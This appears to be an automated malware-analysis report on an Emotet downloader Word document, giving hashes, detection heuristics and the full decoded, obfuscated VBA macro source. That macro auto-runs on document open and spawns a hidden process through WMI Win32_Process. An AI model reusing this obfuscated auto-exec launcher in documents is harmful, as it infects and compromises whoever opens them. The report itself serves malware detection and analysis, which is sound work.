Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8832de54848c35df…

MALICIOUS

Office (OLE)

172.6 KB Created: 2019-12-10 21:55:00 Authoring application: Microsoft Office Word First seen: 2022-07-02
MD5: 8b74e915f4d5375b99fc12a0a522c1a6 SHA-1: b8b62636e4f8dfea386d492921a74065ee87d34d SHA-256: 8832de54848c35df3e32e0b7c4ed84d791e62699015b5298d78759ecd543a4e2
172 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7464365-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7464365-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Jaamrfwb = CreateObject(Ocwcdidhhytqm)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6835 bytes
SHA-256: c4eb99992d26f516e8250328de6aae53fce1c13f67ec5e8aa0351df56b16f0a1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
65 of 118 identifiers look randomly generated (e.g. 'Ufrnxjwptpyuw'); 3 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Acqdlnqii"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Cammyqln, 0, 0, MSForms, TextBox"
Private Sub Document_open()
      If Pypkuwuiw < Uqseuovbrawss Then
         Nwqyjblyxjs = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Apbdtdhswq = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
      If Nurklmwqsk < Nuwaarcfrrci Then
         Hjiyrpexq = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Hhqsxoopvtfii = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
      If Ageitsfla < Zdjthzuchniv Then
         Tusrrrwyivf = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Jwpeckpgxy = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Hrpnpbmbygvcd
End Sub

Attribute VB_Name = "Tzqzfonkdnvx"
Attribute VB_Base = "0{B7B15B58-EB98-4090-9ADD-AA155BBB3888}{544109DD-57B4-4769-9AB4-26AA7AFE5ECA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Ojbpkcyf"
Function Cvjydtlque()
      If Kzctkualxn < Puqgevpfr Then
         Vvamtabtbj = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Fjkrsdqjtla = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Ambuakpj = Acqdlnqii.Cammyqln
      If Vszuwubyyxlr < Kcrfhuorw Then
         Bvulpnzkcbk = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Ufrnxjwptpyuw = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Yccvpxhgjrewp = Ambuakpj + Tzqzfonkdnvx.Rokeculrdzu + Tzqzfonkdnvx.Obuwqngparpkc + Tzqzfonkdnvx.Omhglfjnmqo
      If Juytpaalwnh < Mobdxflmb Then
         Bcdqfbeunu = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Lcbuylatevtzg = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Yatveumis = Yccvpxhgjrewp + Tzqzfonkdnvx.Kffirlpsod + Tzqzfonkdnvx.Hiqxcdsqgqto
      If Vlipphny < Bqxcnumglqrp Then
         Xalfnooys = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Fglhdjsilc = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Cvjydtlque = Hjexjsfo + Yatveumis + Hjexjsfo
      If Mhfafqcabyrbe < Sdhegrzlq Then
         Dibtxvxxewft = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Wqailkdnpkciv = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
End Function
Function Hrpnpbmbygvcd()
      If Fvnosxrmvif < Vrmbibwst Then
         Vczxppxgzu = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Kmqttjrindqyi = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Ocwcdidhhytqm = E + "wi" + "n" + f + "mgmt" + g + "s:Win32_P" + n + "rocess"
      If Izxvmbfju < Swxturiqqsndm Then
         Msqsxagypguy = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Bejzwcvojcypq = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Set Jaamrfwb = CreateObject(Ocwcdidhhytqm)
      If Cwvsbzqn < Ylmleuppjqk Then
         Bifluskklnoxu = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Gzaprujd = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Uqtrsdqzuhnlv = Ocwcdidhhytqm + ("STARTU")
      If Ymabovyhxnzui < Ewfakwhuiuq Then
         Banmrxgq = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Dfhhgwmz = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Gptxwqvqzwoid = Uqtrsdqzuhnlv + Acqdlnqii.Cammyqln
      If Wwgtnrbxy < Vwnfpvgzbfk Then
         Vdxedyqtm = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Guqayuyn = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Set Hrpnpbmbygvcd = CreateObject((Gptxwqvqzwoid))
      If Zicnqwkcialu < Elzdasdxdaw Then
         Thkfxllkfh = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Zithmgaoez = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Hrpnpbmbygvcd.XSize = Empty * Empty
      If Fuotjynlxmv < Hwzuicqreai Then
         Lcxfojpbabl = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Rncymdyxfullr = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Hrpnpbmbygvcd.YSize = Empty * Empty
      If Azzochii < Nzqwezfhc Then
         Kjmqhbpkqiffk = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Gljvyvqqobrn = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Do While Jaamrfwb.Create(Null & Cvjydtlque, Bwwdxtwmqyn, Hrpnpbmbygvcd, Meagribszped)
Loop
      If Rugacriep < Gjkpkvidekxyt Then
         Dkncoxzs = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Rvtzazcofbd = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.